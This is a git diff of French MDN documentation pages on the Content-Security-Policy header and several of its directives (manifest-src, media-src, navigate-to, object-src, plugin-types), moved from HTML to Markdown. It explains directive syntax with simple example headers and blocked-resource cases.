{{specName("CSP 1.1")}}{{Spec2("CSP 1.1")}}Ajout de base-uri, child-src, form-action, frame-ancestors, plugin-types, referrer, reflected-xss et report-uri. Dépréciation de frame-src.
{{specName("CSP 1.0")}}{{Spec2("CSP 1.0")}}Définition de connect-src, default-src, font-src, frame-src, img-src, media-src, object-src, report-uri, sandbox, script-src et style-src.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/index.md b/files/fr/web/http/headers/content-security-policy/index.md new file mode 100644 index 0000000000..2cd4912372 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/index.md @@ -0,0 +1,254 @@ +--- +title: Politique de sécurité de contenu +slug: Web/HTTP/Headers/Content-Security-Policy +tags: + - CSP + - HTTP + - Référence(2) + - Sécurité + - en-tête +translation_of: Web/HTTP/Headers/Content-Security-Policy +--- +
{{HTTPSidebar}}
+ +

L'en-tête de réponse HTTP Content-Security-Policy permet aux administrateurs d'un site web de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. Bien qu'il y ait quelques exceptions, ces règles impliquent la plupart du temps de définir les origines du serveur et les points d'accès pour les scripts. Cet en-tête aide à se protéger contre les attaques de cross-site scripting ({{Glossary("XSS")}}).

+ +

Pour plus d'informations, voir cet article sur Content Security Policy (CSP).

+ + + + + + + + + + + + +
Type d'en-têteEn-tête de réponse
Nom d'en-tête interditNon
+ +

Syntaxe

+ +
Content-Security-Policy: <policy-directive>; <policy-directive>
+
+ +

Directives

+ +

Directives de récupération (fetch)

+ +

Les directives de récupération (ou fetch directives en anglais) contrôlent les emplacements à partir desquels certains types de ressource peuvent être chargés.

+ +
+
{{CSP("child-src")}}
+
Définit les sources valides pour les web workers et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.
+
+ +
+

Attention :Plutôt que la directive child-src, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}.

+
+ +
+
{{CSP("connect-src")}}
+
Restreint les URL qui peuvent être chargées via des scripts.
+
{{CSP("default-src")}}
+
Représente la valeur par défaut des directives de récupération qui ne sont pas définies explicitement.
+
{{CSP("font-src")}}
+
Définit les sources valides pour les polices de caractères chargées depuis {{cssxref("@font-face")}}.
+
{{CSP("frame-src")}}
+
Définit les sources valides pour les éléments qui représentent des contextes de navigation imbriqués, tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.
+
{{CSP("img-src")}}
+
Définit les sources valides pour les images et les favicons.
+
{{CSP("manifest-src")}}
+
Définit les sources valides pour les fichiers de manifeste d'application.
+
{{CSP("media-src")}}
+
Définit les sources valides pour les ressources média des éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}.
+
{{CSP("object-src")}}
+
Définit les sources valides pour les ressources des éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.
+
+ +
+

Note : Les éléments contrôlés pa ar object-src sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité sandbox et allow pour <iframe>). De ce fait, il est recommandé de restreindre cette directive, c'est-à-dire la définir explicitement à object-src 'none' dans la mesure du possible.

+
+ +
+
{{CSP("prefetch-src")}}
+
Définit .
+
{{CSP("script-src")}}
+
Définit les sources valides pour les fichiers JavaScript.
+
{{CSP("script-src-elem")}}{{experimental_inline}}
+
Définit les sources valides de code JavaScript chargé avec l'élément {{HTMLElement("script")}}.
+
{{CSP("script-src-attr")}}{{experimental_inline}}
+
Définit les sources valides de JavaScript pour les écouteurs d'évènements par les attributs on<eventName>.
+
{{CSP("style-src")}}
+
Définit les sources valides pour les feuilles de styles.
+
{{CSP("style-src-elem")}}{{experimental_inline}}
+
Définit les sources valides pour les feuilles de styles définies avec l'élément {{HTMLElement("style")}} ou chargées avec l'élément {{HTMLElement("link")}} ayant l'attribut rel="stylesheet".
+
{{CSP("style-src-attr")}}{{experimental_inline}}
+
Définit les sources valides pour les feuilles de styles embarquées appliquées à des éléments individuels du DOM par l'attribut style.
+
{{CSP("worker-src")}}
+
Définit les sources valides pour les scripts des {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.
+
+ +

Directives de document

+ +

Les directives de document permettent de paramétrer les propriétés d'un document ou d'un environnement pour un web worker auquel une règle de sécurité s'applique.

+ +
+
{{CSP("base-uri")}}
+
Restreint les URL qui peuvent être utilisées au sein de l'élément {{HTMLElement("base")}} d'un document.
+
{{CSP("plugin-types")}}
+
Restreint le type de plugin qui peut être intégré dans un document en limitant le type de ressource qui peut être chargé.
+
{{CSP("sandbox")}}
+
Active un bac-à-sable (sandbox) pour la ressource visée. Cela fonctionne de façon analogue à l'attribut {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}.
+
+ +

Directives de navigation

+ +

Les directives de navigation permettent par exemple de paramétrer les emplacements vers lesquels l'utilisateur peut naviguer ou envoyer un formulaire.

+ +
+
{{CSP("form-action")}}
+
Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné.
+
{{CSP("frame-ancestors")}}
+
Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.
+
{{CSP("navigate-to")}}{{experimental_inline}}
+
Restreint les URL vers lesquelles on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, window.location, window.open, etc.)
+
+ +

Directives de rapport

+ +

Les directives de rapport permettent de contrôler ce qui se passe lorsqu'une règle CSP est violée. Voir également l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}.

+ +
+
{{CSP("report-uri")}}{{deprecated_inline}}
+
Indique à l'agent utilisateur de rapporter les tentatives d'enfreintes du CSP. Un rapport d'enfreinte est un ensemble de documents JSON envoyés via une requête HTTP POST à l'URI indiquée.
+
+ +
+

Attention : Bien que la directive report-to est prévue remplacer la directive report-uri maintenant dépréciée, report-to n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront report-to, vous pouvez spécifier les deux directives report-uri et report-to:

+ +
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
+ +

Dans les navigateurs qui supportent report-to, la directive report-uri sera ignorée.

+
+ +
+
{{CSP("report-to")}}{{experimental_inline}}
+
Déclenche un évènement SecurityPolicyViolationEvent.
+
+ +

Autres directives

+ +
+
{{CSP("block-all-mixed-content")}}
+
Empêche le chargement de toute ressource via HTTP lorsque la page est chargée avec HTTPS.
+
{{CSP("referrer")}} {{deprecated_inline}}{{non-standard_inline}}
+
{{HTTPHeader("Referrer-Policy")}} doit être utilisé à la place. Était utilisée pour indiquer l'en-tête référent (sic) pour les liens sortants.
+
{{CSP("require-sri-for")}}{{experimental_inline}}
+
Oblige à utiliser le contrôle d'intégrité des sous-ressources ({{Glossary("SRI")}}) pour les scripts ou les styles de la page.
+
{{CSP("trusted-types")}}{{experimental_inline}}
+
Utilisée pour spécifier une liste de permissions de règles de Trusted Types. Les Trusted Types permettent à des applications de verrouiller les puits d'injection XSS dans le DOM pour n'accepter que des valeurs typées et non falsifiables plutôt que des chaines de caractères.
+
{{CSP("upgrade-insecure-requests")}}
+
Indique à l'agent utilisateur de considérer toutes les URL non-sécurisées d'un site (celles servies via HTTP) comme si elles avaient été remplacées par des URL sécurisées. Cette directive est destinée aux sites web qui ont de nombreuses URL historiques non-sécurisées et qui doivent être réécrites.
+
+ +

Utilisation du CSP dans les web workers

+ +

En général, les web workers ne sont pas gérés par les règles de sécurité du contenu du document (ou du worker parent) qui les a créé. Pour indiquer une règle de sécurité du contenu pour le worker, on utilisera un en-tête de réponse Content-Security-Policy pour la requête qui a demandé le script du worker.

+ +

Il y a une exception à cette règle lorsque l'origine du script d'un worker est un identifiant global unique (par exemple si l'URL utilise un schéma de donnée ou un blob). Dans ce cas, le worker hérite de la règle de sécurité du contenu depuis le document ou le worker qui l'a créé.

+ +

Gérer plusieurs politiques de sécurité

+ +

Le CSP permet d'indiquer plusieurs règles pour une même ressource avec l'en-tête Content-Security-Policy, l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et l'élément {{HTMLElement("meta")}}.

+ +

L'en-tête Content-Security-Policy peut être utilisé plus d'une fois comme illustré ci-après. On notera la directive {{CSP("connect-src")}} utilisée ici. Bien que la deuxième règle autorise la connexion, la première contient connect-src 'none'. L'ajout de règles supplémentaires permet uniquement d'augmenter les protections. Les niveaux les plus stricts pour chaque règle sont alors utilisés. Dans l'exemple qui suit, cela signifie que la directive connect-src 'none' sera respectée.

+ +
Content-Security-Policy: default-src 'self' http://example.com;
+                         connect-src 'none';
+Content-Security-Policy: connect-src http://example.com/;
+                         script-src http://example.com/
+ +

Exemples

+ +

Exemple 1

+ +

Dans cet exemple, on désactive les scripts écrits à même le document (inline), les opérations eval() et les ressources (images, polices, scripts, etc.) peuvent uniquement être chargées via HTTPS :

+ +
// en-tête HTTP
+Content-Security-Policy: default-src https:
+
+// version avec la balise HTML meta
+<meta http-equiv="Content-Security-Policy" content="default-src https:">
+
+ +

Exemple 2

+ +

Cet exemple est plutôt adapté pour un site historique qui utilise de nombreux scripts écrits dans les documents mais pour lequel on veut s'assurer que les ressources sont chargées via HTTPS et pour lequel on veut désactiver les plugins :

+ +
Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'
+ +

Exemple 3

+ +

On ne met pas en place la règle de sécurité mais on récolte les enfreintes qui se seraient produites pour cette règle :

+ +
Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
+ +

Pour plus d'exemples, consulter les recommandations de Mozilla pour la sécurité web.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{specName("CSP 3.0")}}{{Spec2('CSP 3.0')}}Ajout de manifest-src, navigation-to, report-to, strict-dynamic, worker-src. frame-src n'est plus déprécié. report-uri est déprécié au profit de report-to.
{{specName("Mixed Content")}}{{Spec2("Mixed Content")}}Ajout de block-all-mixed-content.
{{specName("Subresource Integrity")}}{{Spec2("Subresource Integrity")}}Ajout de require-sri-for.
{{specName("Upgrade Insecure Requests")}}{{Spec2("Upgrade Insecure Requests")}}Ajout de upgrade-insecure-requests.
{{specName("CSP 1.1")}}{{Spec2("CSP 1.1")}}Ajout de base-uri, child-src, form-action, frame-ancestors, plugin-types, referrer, reflected-xss et report-uri. Dépréciation de frame-src.
{{specName("CSP 1.0")}}{{Spec2("CSP 1.0")}}Définition de connect-src, default-src, font-src, frame-src, img-src, media-src, object-src, report-uri, sandbox, script-src et style-src.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/manifest-src/index.html b/files/fr/web/http/headers/content-security-policy/manifest-src/index.html deleted file mode 100644 index a99cf41e12..0000000000 --- a/files/fr/web/http/headers/content-security-policy/manifest-src/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 'CSP: manifest-src' -slug: Web/HTTP/Headers/Content-Security-Policy/manifest-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Manifest - - Reference - - Security - - Sécurité - - manifest-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/manifest-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} manifest-src spécifie quel manifeste peut être appliqué à la ressource.

- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: manifest-src <source>;
-Content-Security-Policy: manifest-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Violation cases

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: manifest-src https://example.com/
- -

Cet élément {{HTMLElement("link")}} sera bloqué et ne se chargera pas :

- -
<link rel="manifest" href="https://not-example.com/manifest">
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-manifest-src", "manifest-src")}}{{Spec2('CSP 3.0')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.manifest-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/manifest-src/index.md b/files/fr/web/http/headers/content-security-policy/manifest-src/index.md new file mode 100644 index 0000000000..a99cf41e12 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/manifest-src/index.md @@ -0,0 +1,91 @@ +--- +title: 'CSP: manifest-src' +slug: Web/HTTP/Headers/Content-Security-Policy/manifest-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Manifest + - Reference + - Security + - Sécurité + - manifest-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/manifest-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} manifest-src spécifie quel manifeste peut être appliqué à la ressource.

+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: manifest-src <source>;
+Content-Security-Policy: manifest-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Violation cases

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: manifest-src https://example.com/
+ +

Cet élément {{HTMLElement("link")}} sera bloqué et ne se chargera pas :

+ +
<link rel="manifest" href="https://not-example.com/manifest">
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-manifest-src", "manifest-src")}}{{Spec2('CSP 3.0')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.manifest-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/media-src/index.html b/files/fr/web/http/headers/content-security-policy/media-src/index.html deleted file mode 100644 index 9efb6aef2d..0000000000 --- a/files/fr/web/http/headers/content-security-policy/media-src/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: 'CSP: media-src' -slug: Web/HTTP/Headers/Content-Security-Policy/media-src -tags: - - CSP - - Conten-Security-Policy - - Directive - - HTTP - - Media - - Reference - - Security - - Sécurité - - media-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/media-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) media-src spécifie les sources valides pour charger des médias en utilisant des éléments tels que {{HTMLElement("audio")}} et {{HTMLElement("video")}}.

- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: media-src <source>;
-Content-Security-Policy: media-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: media-src https://example.com/
- -

Ces éléments {{HTMLElement("audio")}}, {{HTMLElement("video")}} et {{HTMLElement("track")}} seront bloqués et ne se chargeront pas :

- -
<audio src="https://not-example.com/audio"></audio>
-
-<video src="https://not-example.com/video">
-  <track kind="subtitles" src="https://not-example.com/subtitles">
-</video>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-media-src", "media-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-media-src", "media-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.media-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/media-src/index.md b/files/fr/web/http/headers/content-security-policy/media-src/index.md new file mode 100644 index 0000000000..9efb6aef2d --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/media-src/index.md @@ -0,0 +1,99 @@ +--- +title: 'CSP: media-src' +slug: Web/HTTP/Headers/Content-Security-Policy/media-src +tags: + - CSP + - Conten-Security-Policy + - Directive + - HTTP + - Media + - Reference + - Security + - Sécurité + - media-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/media-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) media-src spécifie les sources valides pour charger des médias en utilisant des éléments tels que {{HTMLElement("audio")}} et {{HTMLElement("video")}}.

+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: media-src <source>;
+Content-Security-Policy: media-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: media-src https://example.com/
+ +

Ces éléments {{HTMLElement("audio")}}, {{HTMLElement("video")}} et {{HTMLElement("track")}} seront bloqués et ne se chargeront pas :

+ +
<audio src="https://not-example.com/audio"></audio>
+
+<video src="https://not-example.com/video">
+  <track kind="subtitles" src="https://not-example.com/subtitles">
+</video>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-media-src", "media-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-media-src", "media-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.media-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/navigate-to/index.html b/files/fr/web/http/headers/content-security-policy/navigate-to/index.html deleted file mode 100644 index 2a715438a3..0000000000 --- a/files/fr/web/http/headers/content-security-policy/navigate-to/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: 'CSP: navigate-to' -slug: Web/HTTP/Headers/Content-Security-Policy/navigate-to -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Navigation - - Reference - - Security - - Sécurité - - navigate-to -translation_of: Web/HTTP/Headers/Content-Security-Policy/navigate-to ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) navigate-to restreint les URL vers lesquelles un document peut initier une navigation de quelque manière que ce soit, dont {{HTMLElement("form")}} (si {{CSP("form-action")}} n'est pas spécifié), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc. Elle permet de renforcer les navigations que le document peut initier et non les adresses vers lesquelles ce document peut naviguer.

- -
-

Note : Si la directive {{CSP("form-action")}} est présente, la directive navigate-to ne sera pas appliquée sur la navigation par la soumission de formulaire.

-
- - - - - - - - - - - - - - - - -
Version de CSP3
Type de directive{{Glossary("Navigation directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les adresses.
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être utilisées pour cette directive :

- -
Content-Security-Policy: navigate-to <source>;
-Content-Security-Policy: navigate-to <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Configuration par balise <meta>

- -
<meta http-equiv="Content-Security-Policy" content="navigate-to 'none'">
-
- -

Cas de violation

- -

Utiliser l'élément {{HTMLElement("form")}} avec un attribut action défini à un script embarqué en JavaScript résultera en une violation de CSP :

- -
<meta http-equiv="Content-Security-Policy" content="navigate-to 'none'">
-
-<form action="javascript:alert('Foo')" id="form1" method="post">
-  <input type="text" name="fieldName" value="fieldValue">
-  <input type="submit" id="submit" value="submit">
-</form>
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-navigate-to", "navigate-to")}}{{Spec2("CSP 3.0")}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.navigate-to")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/navigate-to/index.md b/files/fr/web/http/headers/content-security-policy/navigate-to/index.md new file mode 100644 index 0000000000..2a715438a3 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/navigate-to/index.md @@ -0,0 +1,102 @@ +--- +title: 'CSP: navigate-to' +slug: Web/HTTP/Headers/Content-Security-Policy/navigate-to +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Navigation + - Reference + - Security + - Sécurité + - navigate-to +translation_of: Web/HTTP/Headers/Content-Security-Policy/navigate-to +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) navigate-to restreint les URL vers lesquelles un document peut initier une navigation de quelque manière que ce soit, dont {{HTMLElement("form")}} (si {{CSP("form-action")}} n'est pas spécifié), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc. Elle permet de renforcer les navigations que le document peut initier et non les adresses vers lesquelles ce document peut naviguer.

+ +
+

Note : Si la directive {{CSP("form-action")}} est présente, la directive navigate-to ne sera pas appliquée sur la navigation par la soumission de formulaire.

+
+ + + + + + + + + + + + + + + + +
Version de CSP3
Type de directive{{Glossary("Navigation directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les adresses.
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être utilisées pour cette directive :

+ +
Content-Security-Policy: navigate-to <source>;
+Content-Security-Policy: navigate-to <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Configuration par balise <meta>

+ +
<meta http-equiv="Content-Security-Policy" content="navigate-to 'none'">
+
+ +

Cas de violation

+ +

Utiliser l'élément {{HTMLElement("form")}} avec un attribut action défini à un script embarqué en JavaScript résultera en une violation de CSP :

+ +
<meta http-equiv="Content-Security-Policy" content="navigate-to 'none'">
+
+<form action="javascript:alert('Foo')" id="form1" method="post">
+  <input type="text" name="fieldName" value="fieldValue">
+  <input type="submit" id="submit" value="submit">
+</form>
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-navigate-to", "navigate-to")}}{{Spec2("CSP 3.0")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.navigate-to")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/object-src/index.html b/files/fr/web/http/headers/content-security-policy/object-src/index.html deleted file mode 100644 index 46cca9c2ee..0000000000 --- a/files/fr/web/http/headers/content-security-policy/object-src/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: 'CSP: object-src' -slug: Web/HTTP/Headers/Content-Security-Policy/object-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Object - - Reference - - Security - - Sécurité - - object-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/object-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} object-src spécifie les sources valides pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.

- -

Pour définir des types autorisés pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}, voir la directive {{CSP("plugin-types")}}.

- -
-

Note : Les éléments contrôlés par object-src sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité sandbox et allow pour <iframe>). De ce fait, il est recommandé de restreindre cette directive, c'est-à-dire la définir explicitement à object-src 'none' dans la mesure du possible.

-
- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: object-src <source>;
-Content-Security-Policy: object-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: object-src https://example.com/
- -

Ces éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}} seront bloqués et ne se chargeront pas :

- -
<embed src="https://not-example.com/flash"></embed>
-<object data="https://not-example.com/plugin"></object>
-<applet archive="https://not-example.com/java"></applet>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-object-src", "object-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-object-src", "object-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.object-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/object-src/index.md b/files/fr/web/http/headers/content-security-policy/object-src/index.md new file mode 100644 index 0000000000..46cca9c2ee --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/object-src/index.md @@ -0,0 +1,104 @@ +--- +title: 'CSP: object-src' +slug: Web/HTTP/Headers/Content-Security-Policy/object-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Object + - Reference + - Security + - Sécurité + - object-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/object-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} object-src spécifie les sources valides pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.

+ +

Pour définir des types autorisés pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}, voir la directive {{CSP("plugin-types")}}.

+ +
+

Note : Les éléments contrôlés par object-src sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité sandbox et allow pour <iframe>). De ce fait, il est recommandé de restreindre cette directive, c'est-à-dire la définir explicitement à object-src 'none' dans la mesure du possible.

+
+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: object-src <source>;
+Content-Security-Policy: object-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: object-src https://example.com/
+ +

Ces éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}} seront bloqués et ne se chargeront pas :

+ +
<embed src="https://not-example.com/flash"></embed>
+<object data="https://not-example.com/plugin"></object>
+<applet archive="https://not-example.com/java"></applet>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-object-src", "object-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-object-src", "object-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.object-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/plugin-types/index.html b/files/fr/web/http/headers/content-security-policy/plugin-types/index.html deleted file mode 100644 index 188eccaf9e..0000000000 --- a/files/fr/web/http/headers/content-security-policy/plugin-types/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: 'CSP: plugin-types' -slug: Web/HTTP/Headers/Content-Security-Policy/plugin-types -tags: - - CSP - - Content-Security-Policy - - Directive - - Flash - - Greffon - - HTTP - - Java - - Plugin - - Security - - Sécurité -translation_of: Web/HTTP/Headers/Content-Security-Policy/plugin-types ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) plugin-types restreint l'ensemble des greffons pouvant être intégrés dans un document en limitant les types de ressources pouvant être chargées.

- -

L'instanciation d'éléments {{HTMLElement("embed")}}, {{HTMLElement("object")}} ou {{HTMLElement("applet")}} échouera si :

- - - - - - - - - - - - - - - - - - -
Version de CSP2
